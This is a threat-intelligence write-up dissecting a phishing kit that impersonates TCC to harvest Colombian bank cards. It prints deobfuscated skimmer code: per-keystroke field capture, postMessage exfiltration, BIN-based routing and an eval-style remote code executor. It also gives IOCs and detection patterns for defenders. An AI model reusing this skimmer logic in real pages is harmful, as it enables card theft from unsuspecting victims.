Davis Cat

PhaaS in the Wild: Dissecting the TCC Payment Page Phishing Kit

Full technical breakdown of an active Phishing-as-a-Service kit targeting Colombian banking customers. The kit impersonates logistics company TCC, runs a real-time card keylogger via an obfuscated runtime, routes victims by BIN prefix, and exfiltrates data through postMessage to a Chinese-built multi-tenant C2 platform at tcc-ayv.cc.

threat-intel phishing phaas colombia banking reverse-engineering obfuscation card-skimmer

Overview

Three files landed on my desk: an outer wrapper page, a payment form, and an 8,000-line obfuscated JavaScript runtime. What they describe, once unwound, is a complete Phishing-as-a-Service (PhaaS) platform โ€” professionally built, actively operated, and precisely targeted at Colombian banking customers.

The lure is a fake delivery fee page impersonating TCC (Transportadora Colombia de Carga), one of Colombiaโ€™s largest logistics companies. The infrastructure โ€” tcc-ayv.cc โ€” is a drag-and-drop phishing builder with real-time card capture, BIN-based routing, and operator-controlled remote code execution. All comments in the source are written in Mandarin Chinese.

This post walks through every layer, from the delivery mechanism to the decoded payloads.


File Inventory

FileRole
my.tcc-ayv.cc_cc_.htmlOuter wrapper / kit shell (Vue 3)
index.htmlPhishing page โ€” fake TCC payment form
runtime.jsObfuscated PhaaS runtime โ€” keylogger + exfiltration engine

1. The Social Engineering Lure

Before touching any code, itโ€™s worth understanding what the victim sees. The page presents itself as a delivery address update portal for TCC.

The scrolling ticker banner at the top reads (translated from Spanish):

โ€œAddress Update Service | We detected that the delivery address for your package is incomplete. To continue with delivery, we need to confirm and update the recipient information as soon as possible. Your package delivery is temporarily suspended at no additional cost. However, if the update is not completed today, a daily storage fee of $5,000 COP will be charged. Once the information is verified, delivery will resume automatically within 24 hours.โ€

This is a classic urgency + loss aversion social engineering pattern. The victim is told:

  • Their package is stuck (threat to something they expect)
  • Itโ€™s free right now but wonโ€™t be later (time pressure)
  • They only need to pay a tiny fee of $3,820 COP (~$0.90 USD) to unblock it

That micro-amount is intentional. Itโ€™s psychologically trivial โ€” just enough to not raise suspicion, while still harvesting full card credentials for later high-value fraud.

The page reinforces legitimacy with:

  • Bancolombia and Banco de Occidente logos and promotional copy about 2X Puntos Colombia on payments
  • โ€œVerified by VISA & MasterCard SecureCodeโ€ security badges
  • A real TCC address in Medellรญn: Carrera 64, No. 67B-35
  • A real-looking phone number: +57 604 607 1213
  • A child welfare charity banner (โ€œTCC donates 5% of profits to childrenโ€™s programs in Colombiaโ€)

2. Infrastructure โ€” The Kit Shell

The file my.tcc-ayv.cc_cc_.html is not the phishing page itself. Itโ€™s the delivery container โ€” a Vue 3 SPA shell that embeds the actual page inside a fullscreen <iframe>:

<!-- Outer shell: fullscreen iframe embedding the phishing page -->
<div style="width: 100vw; height: 100vh; overflow: hidden;">
  <iframe src="./my.tcc-ayv.cc_cc__files/index.html"
    class="w-screen h-screen overflow-hidden animate__animated"
    style="border: none;">
  </iframe>
</div>

This two-layer architecture is deliberate. The inner iframe renders the victim-facing page, while the outer Vue shell acts as the operatorโ€™s control plane โ€” it receives all data exfiltrated from the inner page via postMessage and forwards it upstream.

Platform Fingerprints

IndicatorValue
Kit domaintcc-ayv.cc
Cloudflare Beacon tokene663e852282346169f34735a7c4d2eb3
Vue build hash (JS bundle)index-B1veIbDR.js
CSS bundle hashindex-C6qrI_xe.css
Runtime path pattern/websites/{campaign-uuid}/runtime.js
Campaign UUID (this sample)b53a5802-81d8-43e8-8f2e-f733b3d0cf7b

The Cloudflare Beacon token is identical across both the shell and the inner page โ€” confirming they share a single Cloudflare account. The /websites/{uuid}/ path structure reveals a multi-tenant platform: each campaign operator gets their own UUID namespace.


3. The Phishing Page โ€” index.html

DOM Fingerprinting โ€” The Builderโ€™s Signature

Every single element in index.html carries two custom attributes that are the kit builderโ€™s signature:

<input
  data-alias="ๅง“ๅ"
  data-sensitive="true"
  data-user="true"
  hacker-id="2bc73821-db07-46ca-afd2-7688a1569216"
  hackerid="2bc73821-db07-46ca-afd2-7688a1569216"
  id="cardHolder"
  name="holder"
  ...
/>
  • hacker-id / hackerid: UUID generated by the builder platform for each DOM element. The runtime uses these to identify, track, and remotely control individual elements.
  • data-user="true": Marks this field as user input that should be captured and exfiltrated.
  • data-sensitive="true": Flags the field as sensitive โ€” the runtime treats it specially in its payload serialization.
  • data-alias="ๅง“ๅ": Mandarin for โ€œFull Nameโ€ โ€” the human-readable alias used by the operatorโ€™s control panel to label captured data.

All images are served from assets/hacker-resources/{uuid}.png โ€” a flat asset CDN organized by UUID, consistent with an operator-managed content platform.

Chinese Language Markers

CSS comments throughout the file are written entirely in Mandarin:

/* ๅฏผ่ˆชๆ  */        /* Navbar / Navigation bar */
/* ๆ”ฏไป˜ไฟกๆฏๅŒบๅŸŸ */   /* Payment information area */
/* ๆ”ฏไป˜่กจๅ• */       /* Payment form */
/* ๆ”ฏไป˜ๆŒ‰้’ฎ */       /* Pay button */
/* 3D Secure ๅฎ‰ๅ…จ่ฎค่ฏๅ›พ็‰‡ */ /* 3D Secure certification image */
/* ๆ–ฐๅขž๏ผšTCC ๅ„ฟ็ซฅๅ…ฌ็›Šๅฎฃไผ ๅคงๅ›พ */ /* New: TCC children's charity promo banner */
/* Bancolombia ๆƒ็›Šไธ“ๅŒบ */ /* Bancolombia benefits section */
/* ้กต่„š */ /* Footer */

These are not auto-generated โ€” they represent the kit developerโ€™s internal documentation. Someone fluent in Mandarin built this template and is iterating on it.

Form Fields โ€” Collected Data

The four fields marked data-user="true" data-sensitive="true" are the exfiltration targets:

Field IDName attributeData aliasTypeValidation
cardHolderholderๅง“ๅ (Full Name)textmaxlength=50
cardNumbercardcardtextmaxlength=19
expiryDateexpireๆœ‰ๆ•ˆๆœŸ (Expiry date)textMM/AA format
cvvcvvcvvnumberminlength=3, maxlength=4

4. The Runtime โ€” runtime.js

This is the most technically significant artifact. At 8,368 lines, itโ€™s a fully obfuscated JavaScript engine powering the entire PhaaS platform. Letโ€™s dissect it layer by layer.

4.1 Obfuscation Technique โ€” String Array Rotation

The obfuscation method is string array rotation โ€” a classic pattern from obfuscator.io:

// 1. All strings are centralized in a flat array
function _0x4667() {
  var _0x3288bc = [
    "apply", "740uaIdjC", "length", "3852499DMQQJd",
    "__esModule", "98613tciebl", "188LibTXu", "construct", ...
  ];
  _0x4667 = function() { return _0x3288bc; };
  return _0x4667();
}

// 2. An IIFE rotates the array at runtime until a checksum matches
(function(_0x6200fd, _0x20873a) {
  while (!![]) {
    try {
      var _0x294258 = -parseInt(_0x237d0a(236)) / 1 * 
        (-parseInt(_0x237d0a(232)) / 2) + ...;
      if (_0x294258 === _0x20873a) break;
      else _0x401e03["push"](_0x401e03["shift"]());
    } catch(_0x4a4bad) {
      _0x401e03["push"](_0x401e03["shift"]());
    }
  }
})(_0x4667, 463797); // 463797 is the target checksum

// 3. Strings are accessed by index through a decoder function
function _0x4af2(_0x1e355c) {
  _0x1e355c = _0x1e355c - 215;
  return _0x46674c[_0x1e355c]; // offset-indexed access
}

The effect: all string literals vanish from the code. Every identifier, method name, and event string is replaced by a function call that decodes it at runtime. The checksum-based rotation ensures the array is in the correct order before execution begins.

The runtime also bundles lodash 4.17.21, SparkMD5, and uuid v4 โ€” legitimizing its presence in network traffic and adding utility for hashing and session management.

4.2 Class HackerInput โ€” Real-Time Card Keylogger

This is the most dangerous component. HackerInput instantiates itself on DOMContentLoaded and immediately attaches event listeners to every field marked data-user="true":

// Deobfuscated equivalent:
class HackerInput {
  constructor() {
    // Find all user-marked input fields
    const userFields = Array.from(
      document.querySelectorAll('[data-user=true]')
    ).filter(node => node.getAttribute('data-enabled-group') !== 'true');
    
    // Attach listeners to every field
    for (const field of userFields) {
      this.listenInput(field);
    }
  }

  listenInput(field) {
    field.addEventListener('input', (e) => {
      const payload = {
        alias: field.getAttribute('data-alias') || field.name,
        sensitive: field.hasAttribute('data-sensitive') &&
                   field.getAttribute('data-sensitive') === 'true',
        value: field.value.trim(),
        name: field.name
      };
      
      // Persist to localStorage for session recovery
      localStorage.setItem(field.name.toUpperCase(), payload.value);
      
      // Exfiltrate IMMEDIATELY on every keystroke
      Runtime.Instance.sendEvent('input-changed', payload);
      
      // Special trigger: card number โ‰ฅ 6 digits โ†’ notify operator
      if (payload.value.replace(/\s/g,'').length >= 6 
          && field.name === 'card') {
        sendEvent('logo', { event: 'DOMContentLoaded', meta: {} });
      }
    });
  }
}

The critical behavior: data is exfiltrated on every keystroke, not just on submit. If a victim types their card number and then closes the tab without pressing the button, the operator already has it. The localStorage persistence means a page refresh doesnโ€™t lose partial data โ€” the runtime re-populates fields from local storage on load.

The Chinese debug string "็”จๆˆทๆญฃๅœจ่พ“ๅ…ฅ๏ผš" (โ€œUser is typing:โ€) appears in the deobfuscated output, confirming real-time monitoring was an explicit design goal.

4.3 sendEvent() โ€” The Exfiltration Channel

// Deobfuscated:
function sendEvent(eventName, data) {
  window.parent.postMessage(
    {
      event: eventName,
      data: data,
      source: 'hacker-runtime'  // โ† identification tag
    },
    '*'  // โ† wildcard origin: any parent frame accepted
  );
}

All data leaves through window.parent.postMessage. This is architecturally elegant from an attackerโ€™s perspective:

  • No outbound HTTP requests from the victim page โ€” bypasses naive network-level detection that looks for fetch() or XMLHttpRequest to suspicious domains
  • The inner iframe page appears โ€œcleanโ€ in isolation โ€” all the exfiltration happens in the parent frameโ€™s message event handler
  • The wildcard "*" target origin means the kit doesnโ€™t need to hardcode its own domain into the inner page

The source: 'hacker-runtime' tag is used by the parent shell to distinguish kit events from noise โ€” only messages with this source tag are processed.

4.4 submitForm() โ€” Full Card Dump on Submit

// Deobfuscated:
function submitForm() {
  if (!submitCheck()) return;
  clearTipNodes();

  // Collect all user-marked input nodes
  const inputs = HackerInput.Instance.userInputs;
  const payload = [];
  
  for (let i = 0; i < inputs.length; i++) {
    payload.push(makeInputNodePayload(inputs[i]));
  }
  
  // Also collect grouped/composite fields
  payload.push(...HackerInput.Instance.compositionGroupValue());
  
  // Exfiltrate complete card payload via postMessage
  Runtime.Instance.sendEvent('submit-form', payload);
}

On submit, the runtime serializes every captured field into a structured payload and fires it via sendEvent. The makeInputNodePayload function captures not just the value but also the fieldโ€™s alias, whether it was marked sensitive, and its DOM name โ€” giving the operator a clean labeled dataset.

4.5 The Pay Button โ€” Hidden BIN Routing Logic

This is the most operationally interesting discovery. The โ€œPagar $3.820,00 COPโ€ button carries a data-trigger-code attribute containing a base64 + URL-encoded JavaScript payload that executes before submitForm():

<button 
  data-trigger-code="Y29uc3QlMjBncm91cEElMjAlM0QlMjAlNUIl..."
  data-trigger-event="submit-form"
  data-trigger-timing="click"
  data-trigger-type="custom">
  Pagar $3.820,00 COP
</button>

Decoded (base64 โ†’ URL decode):

// BIN-based routing script โ€” runs on every button click
const groupA = [
  "409355", "452516", "232202",
  "442732", "469767", "434769", "223108",
]

const groupB = [
  "528892",
]

const bannedStart = ["1", "6", "7", "8", "9", "0"]

const cardInputNode = document.querySelector('input[name="card"]')
const val = cardInputNode.value.trim().replace(/\s/g, "")

// Step 1: reject invalid card prefixes
if (bannedStart.some(num => val.startsWith(num))) {
  route("ๅก้”™")  // "Wrong card" โ†’ error page
  return
}

// Step 2: groupA BINs โ†’ alternate flow (translated: "switch western")
for (const elem of groupA) {
  if (val.startsWith(elem)) {
    route("ๆข๐Ÿ”ด๐Ÿ’›่ฅฟ้ƒจ")  // "Switch ๐Ÿ”ด๐Ÿ’› Western"
    return
  }
}

// Step 3: groupB BINs โ†’ credit card switch flow
for (const elem of groupB) {
  if (val.startsWith(elem)) {
    route("ๆขไฟก็”จๅก")  // "Switch credit card"
    return
  }
}

// Step 4: card passes all filters โ†’ submit for exfiltration
submitForm()

This is a BIN (Bank Identification Number) routing system. The operator has pre-configured which card prefixes trigger which downstream flows:

GroupBIN PrefixesActionChinese Label
BannedCards starting with 1,6,7,8,9,0Rejectๅก้”™ (โ€œWrong cardโ€)
Group A409355, 452516, 232202, 442732, 469767, 434769, 223108Alternate routeๆข๐Ÿ”ด๐Ÿ’›่ฅฟ้ƒจ (โ€œSwitch westernโ€)
Group B528892Credit card switchๆขไฟก็”จๅก (โ€œSwitch credit cardโ€)
DefaultAll other Visa/MC/AmexSubmit & exfiltrateโ€”

The โ€œwesternโ€ route likely refers to a different phishing flow optimized for cards associated with Western-affiliated processors. The operator knows which BIN ranges are worth more, which ones will trigger fraud detection, and routes victims accordingly โ€” all transparently to the victim, who just sees a loading spinner.

4.6 FsUpload โ€” File Upload to C2 Backend

// Deobfuscated:
async uploadFile(file) {
  const hash = localStorage.getItem('hash'); // operator session token
  const formData = new FormData();
  formData.append('file', file);
  
  const response = await fetch(
    '/wu/openapi/website-upload/' + hash,
    { method: 'POST', body: formData }
  );
  
  const result = await response.json();
  return result.data; // returns uploaded file URL
}

The endpoint /wu/openapi/website-upload/{hash} is the platformโ€™s backend file storage API. The hash token is a session identifier stored in localStorage that ties the upload to a specific campaign. This facility can be used to:

  • Collect uploaded identity documents if the page requests them
  • Store photos captured via takePhoto (another method present in the runtime)
  • Receive any file the operator configures the form to request

The path prefix /wu/ is consistent with Chinese-origin backend frameworks โ€” seen in platforms like WuJie, WuDi, and similar Chinese-developed SaaS infrastructure.

4.7 Dispatcher.act() โ€” Operator Remote Code Execution

// Deobfuscated:
class Dispatcher {
  // Receives postMessage events from the parent frame
  handleMessage(event) {
    if (event.data.source !== 'hacker') return; // validates origin
    this.callMethod(event.data.event, event.data.data);
  }

  // "act" handler: executes arbitrary operator-sent code
  act(payload) {
    const fn = new Function(
      'event',
      decodeURIComponent(atob(payload.code)) // base64 โ†’ URL decode โ†’ eval
    );
    fn(...payload.args);
  }
}

The act method is the most alarming capability in the kit. The operatorโ€™s control panel can push a postMessage into the inner iframe at any time during the victimโ€™s session, containing base64-encoded JavaScript that gets executed in the victimโ€™s browser context.

This enables real-time attacks such as:

  • Redirecting the victim mid-session to a secondary phishing page (e.g., OTP/SMS interception)
  • Overlaying a fake โ€œpayment processingโ€ screen while the card is being used
  • Dynamically replacing the payment form with a different one after partial data capture
  • Injecting a screenshot or credential-harvesting payload
  • Silently extracting browser-stored autofill data

This is not theoretical โ€” the pay buttonโ€™s data-trigger-code mechanism uses the exact same decodeURIComponent(atob(...)) pattern, confirming itโ€™s a platform-wide feature in active use.


5. Attack Chain

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  VICTIM                                                         โ”‚
โ”‚                                                                 โ”‚
โ”‚  1. Receives SMS/WhatsApp: "Your TCC package is suspended,      โ”‚
โ”‚     update your address to avoid storage fees"                  โ”‚
โ”‚                                                                 โ”‚
โ”‚  2. Clicks link โ†’ lands on tcc-ayv.cc/[campaign]               โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                 โ”‚
                                 โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  OUTER SHELL (Vue SPA โ€” tcc-ayv.cc)                             โ”‚
โ”‚                                                                 โ”‚
โ”‚  โ€ข Renders fullscreen iframe                                    โ”‚
โ”‚  โ€ข Listens for postMessage with source='hacker-runtime'         โ”‚
โ”‚  โ€ข Forwards captured data to C2                                 โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                 โ”‚ iframe
                                 โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  INNER PAGE (index.html + runtime.js)                           โ”‚
โ”‚                                                                 โ”‚
โ”‚  3. Victim sees convincing TCC payment page                     โ”‚
โ”‚                                                                 โ”‚
โ”‚  4. Victim starts typing card number                            โ”‚
โ”‚     โ†’ HackerInput fires 'input-changed' on every keystroke      โ”‚
โ”‚     โ†’ Data saved to localStorage (session persistence)         โ”‚
โ”‚     โ†’ postMessage to parent shell (no outbound HTTP)           โ”‚
โ”‚                                                                 โ”‚
โ”‚  5. Victim enters all 4 fields (name, card, expiry, CVV)        โ”‚
โ”‚                                                                 โ”‚
โ”‚  6. Victim clicks "Pagar $3,820 COP"                           โ”‚
โ”‚     โ†’ BIN routing script runs                                   โ”‚
โ”‚     โ†’ If card passes filter โ†’ submitForm()                      โ”‚
โ”‚     โ†’ Complete card payload โ†’ postMessage to parent             โ”‚
โ”‚                                                                 โ”‚
โ”‚  7. Optional: Dispatcher.act() pushes RCE payload in real-time  โ”‚
โ”‚     โ†’ OTP interception overlay, redirect, screenshot, etc.      โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ฌโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
                                 โ”‚ postMessage
                                 โ–ผ
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  C2 โ€” tcc-ayv.cc backend                                        โ”‚
โ”‚                                                                 โ”‚
โ”‚  โ€ข Operator sees real-time card data stream in dashboard        โ”‚
โ”‚  โ€ข Data: cardholder name, PAN, expiry, CVV                      โ”‚
โ”‚  โ€ข File uploads stored at /wu/openapi/website-upload/           โ”‚
โ”‚  โ€ข Operator can push RCE payloads back to active sessions       โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

6. Threat Actor Attribution Signals

No attribution is being made here โ€” but the following signals are worth documenting for analysts:

SignalDetailConfidence
LanguageAll CSS comments, debug strings, and internal variable names in Simplified Mandarin ChineseHigh
Runtime strings"็”จๆˆทๆญฃๅœจ่พ“ๅ…ฅ๏ผš" (โ€œUser is typingโ€), "็”จๆˆทๆญฃๅœจๆปšๅŠจๅฑๅน•" (โ€œUser is scrolling screenโ€), "ๅก้”™" (โ€œWrong cardโ€) in deobfuscated outputHigh
Backend path/wu/openapi/ prefix consistent with Chinese SaaS backend frameworksMedium
Builder platformhacker-id, hacker-resources, hacker-runtime naming throughout โ€” consistent with a proprietary Chinese-developed kit platformHigh
BIN routing labelsOperator-defined routes labeled in Chinese (ๆข่ฅฟ้ƒจ, ๆขไฟก็”จๅก)High
TargetingKit adapted for Colombia with accurate local brand cloning โ€” suggests regional resale/distribution modelMedium

The most likely model: a Chinese-developed PhaaS platform sold or licensed to Latin American threat actors who customize it per campaign.


7. MITRE ATT&CK Mapping

TechniqueIDImplementation
Phishing: Spearphishing LinkT1566.002Delivery notification lure linking to fake TCC page
Input Capture: Web Portal CaptureT1056.003HackerInput class captures keystrokes on marked fields
Obfuscated Files or Information: JavaScript ObfuscationT1027.007Full string array rotation, checksum-seeded deobfuscation
Command and Scripting Interpreter: JavaScriptT1059.007Dispatcher.act() executes operator-pushed base64 payloads
Exfiltration Over Web ServiceT1567Card data transmitted via postMessage to parent frame
Data Staged: Local Data StagingT1074.001localStorage used to persist and recover captured card data
Server Software ComponentT1505Multi-tenant /websites/{uuid}/ path per campaign operator
Acquire Infrastructure: DomainsT1583.001tcc-ayv.cc registered to impersonate legitimate TCC brand

8. Indicators of Compromise (IOCs)

Domains

tcc-ayv.cc                     # PhaaS platform / C2

Cloudflare

Beacon Token: e663e852282346169f34735a7c4d2eb3

Campaign Identifiers

Campaign UUID: b53a5802-81d8-43e8-8f2e-f733b3d0cf7b
Runtime path:  /websites/b53a5802-81d8-43e8-8f2e-f733b3d0cf7b/runtime.js

Network Paths (C2 Backend)

/wu/openapi/website-upload/{hash}    # File upload endpoint
/websites/{uuid}/runtime.js          # Campaign runtime delivery

DOM Signatures (HTML detection)

Attribute:    hacker-id="*"         (present on all DOM elements)
Attribute:    hackerid="*"          (duplicate, normalized form)
Path:         assets/hacker-resources/*.png
CSS id:       #dynamic-styles       (builder-injected style block)

JavaScript Signatures (runtime detection)

String:  "hacker-runtime"            (postMessage source identifier)
String:  "hacker-built-in-button"    (internal component class)
String:  "็”จๆˆทๆญฃๅœจ่พ“ๅ…ฅ๏ผš"               (Mandarin debug string)
Pattern: decodeURIComponent(atob(โ€ฆ)) (payload execution pattern)
Event:   source === 'hacker'         (Dispatcher message filter)

BIN Prefixes in Active Use (this campaign)

409355  452516  232202  442732  469767  434769  223108  528892

9. Detection Recommendations

For SOC / email security:

  • Block domains matching the pattern tcc-*[a-z]{2,4}\.cc (typosquat class)
  • Flag delivery notification SMS/email that direct to non-tcc.com.co domains

For EDR / browser security:

  • Alert on postMessage events with source === 'hacker-runtime' in browser telemetry
  • Detect new Function(decodeURIComponent(atob(...))) pattern โ€” rare in legitimate code
  • Flag localStorage writes of keys matching CARD, CVV, EXPIRE, HOLDER from third-party domains

For card fraud / banking:

  • BIN prefixes 409355, 452516, 442732, 469767, 434769 (Visa) and 232202, 223108 (MC 2-series) were targeted in BIN routing โ€” monitor for unusual activity on these ranges

Network:

  • Block tcc-ayv.cc and any subdomains
  • Inspect for X-Campaign-UUID or path parameters matching UUID v4 pattern on unknown domains

10. Key Takeaways

This kit represents a maturation point in PhaaS infrastructure for the Latin American market. The combination of:

  1. Real-time keystroke exfiltration โ€” card data captured before submit, through a postMessage channel invisible to naive network inspection
  2. BIN-aware routing โ€” operator-configured flows per card type, suggesting fraud monetization sophistication
  3. Operator RCE โ€” live payload injection into victim sessions via Dispatcher.act()
  4. Multi-tenant architecture โ€” UUID-isolated campaigns on shared infrastructure
  5. Precise local targeting โ€” accurate address, phone, branding, and banking partner integration for Colombia

โ€ฆsuggests a platform being actively developed and maintained, not a one-off kit. The pricing lure ($3,820 COP โ‰ˆ $0.90 USD) and the $5,000 COP/day storage threat are psychologically refined โ€” enough research went into this to understand Colombian consumer psychology.

The most actionable signal for threat hunters: the hacker-id attribute on DOM elements. Itโ€™s present on every element built with this platform, across all campaigns. That single attribute is an unambiguous fingerprint of this kit family.


Analysis performed on static samples only. No contact was established with C2 infrastructure during analysis.